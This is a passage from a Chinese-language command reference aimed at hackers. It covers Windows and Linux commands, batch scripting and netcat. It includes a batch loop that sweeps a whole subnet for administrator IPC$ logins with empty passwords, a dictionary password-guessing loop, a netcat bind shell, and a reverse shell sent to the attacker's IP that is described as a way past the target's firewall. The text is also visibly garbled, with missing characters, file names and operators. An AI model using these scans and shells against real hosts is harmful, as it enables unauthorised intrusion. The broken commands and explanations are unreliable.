【文章內(nèi)容簡介】 ，/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。 tasklist 顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。 參數(shù)說明：/M 列出當(dāng)前進(jìn)程加載的dll文件，/SVC 顯示出每個(gè)進(jìn)程對(duì)應(yīng)的服務(wù)，無參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。 6 六： Linux系統(tǒng)下基本命令： 要區(qū)分大小寫 uname 顯示版本信息（同win2K的 ver） dir 顯示當(dāng)前目錄文件,ls al 顯示包括隱藏文件（同win2K的 dir） pwd 查詢當(dāng)前所在的目錄位置 cd cd　..回到上一層目錄，注意cd 與..之間有空格。cd　/返回到根目錄。 cat 文件名 查看文件內(nèi)容 cat 。 more 文件名 以一頁一頁的方式顯示一個(gè)文本文件。 cp 復(fù)制文件 mv 移動(dòng)文件 rm 文件名 刪除文件，rm a 目錄名刪除目錄及子目錄 mkdir 目錄名 建立目錄 rmdir 刪除子目錄，目錄內(nèi)沒有文檔。 chmod 設(shè)定檔案或目錄的存取權(quán)限 grep 在檔案中查找字符串 diff 檔案文件比較 find 檔案搜尋 date 現(xiàn)在的日期、時(shí)間 who 查詢目前和你使用同一臺(tái)機(jī)器的人以及Login時(shí)間地點(diǎn) w 查詢目前上機(jī)者的詳細(xì)資料 whoami 查看自己的帳號(hào)名稱 groups 查看某人的Group passwd 更改密碼 history 查看自己下過的命令 ps 顯示進(jìn)程狀態(tài) kill 停止某進(jìn)程 gcc 黑客通常用它來編譯C語言寫的文件 su 權(quán)限轉(zhuǎn)換為指定使用者 telnet IP telnet連接對(duì)方主機(jī)（同win2K），當(dāng)出現(xiàn)bash$時(shí)就說明連接成功。 ftp ftp連接上某服務(wù)器（同win2K） 附：批處理命令與變量 1：for命令及變量 基本格式： FOR /參數(shù) %variable IN (set) DO mand [mand_parameters] %variable:指定一個(gè)單一字母可替換的參數(shù)，如：%i ，而指定一個(gè)變量則用：%%i ，而調(diào)用變量時(shí)用：%i% ，變量是區(qū)分大小寫的（%i 不等于 %I）。 批處理每次能處理的變量從%0—%9共10個(gè)，其中%0默認(rèn)給批處理文件名使用，%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值，同理：%2—%9指輸入的第29個(gè)值；例：net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3 (set):指定一個(gè)或一組文件，可使用通配符，如：(D:\)和(1 1 254)(1 1 254),{ (1 1 254)第一個(gè)1指起始值，第二個(gè)1指增長量，第三個(gè)254指結(jié)束值，即：從1到254；(1 1 254)說明：即從254到1 } mand：指定對(duì)第個(gè)文件執(zhí)行的命令，如：net use命令；如要執(zhí)行多個(gè)命令時(shí)，命令這間加：amp。 來隔開 mand_parameters：為特定命令指定參數(shù)或命令行開關(guān) IN (set)：指在(set)中取值；DO mand ：指執(zhí)行mand 參數(shù)：/L 指用增量形式{ (set)為增量形式時(shí) }；/F 指從文件中不斷取值，直到取完為止{ (set)為文件時(shí)，如(d:\)時(shí) }。 用法舉例： @echo off echo 用法格式： *.*.* for /L %%G in (1 1 254) do echo %1.%%G amp。 net use \\%1.%%G /user:administrator | find 命令成功完成 說明：對(duì)指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接。 /L指用增量形式（即從1254或2541）；輸入的IP前面三位：*.*.*為批處理默認(rèn)的 %1；%%G 為變量(ip的最后一位）；amp。 用來隔開echo 和net use 這二個(gè)命令；| 指建立了ipc$后，在結(jié)果中用find查看是否有命令成功完成信息；%1.%%G 為完整的IP地址；(1 1 254) 指起始值，增長量，結(jié)止值。 @echo off echo 用法格式： ip FOR /F %%i IN (D:\) DO %1 %%i D:\ 200 存為： 說明：輸入一個(gè)IP后，用字典文件d:\:\，直到文件中值取完為止。%%i為用戶名；%1為輸入的IP地址（默認(rèn)）。 7 七： 2：if命令及變量 基本格式： IF [not] errorlevel 數(shù)字 命令語句 如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼，指定條件為真。 例：IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時(shí)，就值行后面的命令；IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1，就執(zhí)行后面的命令。 0 指發(fā)現(xiàn)并成功執(zhí)行（真）；1 指沒有發(fā)現(xiàn)、沒執(zhí)行（假）。 IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就執(zhí)行后面的命令。 例：if %2%==4 goto start指：如果輸入的第二個(gè)變量為4時(shí)，執(zhí)行后面的命令（注意：調(diào)用變量時(shí)就%變量名%并加 ） IF [not] exist 文件名 命令語句 如果指定的文件名存在，就執(zhí)行后面的命令。 例：if not goto end指：:end標(biāo)簽處。 IF [not] errorlevel 數(shù)字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上：else 命令語句后指：當(dāng)前面的條件不成立時(shí)，就指行else后面的命令。注意：else 必須與 if 在同一行才有效。 當(dāng)有del命令時(shí)需把del命令全部內(nèi)容用 括起來，因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行，用上 后就等于是單獨(dú)一行了；例如：if exist . else echo ，注意命令中的. （二）系統(tǒng)外部命令(均需下載相關(guān)工具)： 瑞士軍刀： 參數(shù)說明： h 查看幫助信息 d 后臺(tái)模式 e prog程序重定向，一但連接就執(zhí)行［危險(xiǎn)］ i secs延時(shí)的間隔 l 監(jiān)聽模式，用于入站連接 L 監(jiān)聽模式，連接天閉后仍然繼續(xù)監(jiān)聽，直到CTR+C n IP地址，不能用域名 o film記錄16進(jìn)制的傳輸 p[空格]端口 本地端口號(hào) r 隨機(jī)本地及遠(yuǎn)程端口 t 使用Telnet交互方式 u UDP模式 v 詳細(xì)輸出，用vv將更詳細(xì) w數(shù)字 timeout延時(shí)間隔 z 將輸入，輸出關(guān)掉（用于掃錨時(shí)） 基本用法： nc nvv 80 nc l p 80 開啟本機(jī)的TCP 80端口并監(jiān)聽 nc nvv w2 z 801024 nc l p 5354 t e c: 綁定remote主機(jī)的cmdshell在remote的TCP 5354端口 nc t e c: 5354 高級(jí)用法： nc L p 80 作為蜜罐用1：開啟并不停地監(jiān)聽80端口，直到CTR+C為止 nc L p 80 c:\ 作為蜜罐用2：開啟并不停地監(jiān)聽80端口，直到CTR+C,同時(shí)把結(jié)果輸出到c:\ nc L p 80 c:\ 作為蜜罐用31：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:\，亦可起到傳送文件作用 c:\honeyport | nc L p 80 作為蜜罐用32：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:\,亦可起到傳送文件作用 本機(jī)上用：nc l p 本機(jī)端口 在對(duì)方主機(jī)上用：nc e 本機(jī)IP p 本機(jī)端口 *win2K nc e /bin/sh 本機(jī)IP p 本機(jī)端口 *linux,unix 反向連接突破對(duì)方主機(jī)的防火墻 本機(jī)上用：nc d l p 本機(jī)端口 要傳送的文件路徑及名稱 在對(duì)方主機(jī)上用：nc vv 本機(jī)IP 本機(jī)端口 存放文件的路徑及名稱 傳送文件到對(duì)方主機(jī) 備 注： | 管道命令 或 重定向命令。，例如：tlntadmn ＠ 表示執(zhí)行＠后面的命令，但不會(huì)顯示出來（后臺(tái)執(zhí)行）；例：＠dir c:\winnt d:\ 意思是：后臺(tái)執(zhí)行dir，并把結(jié)果存在d:\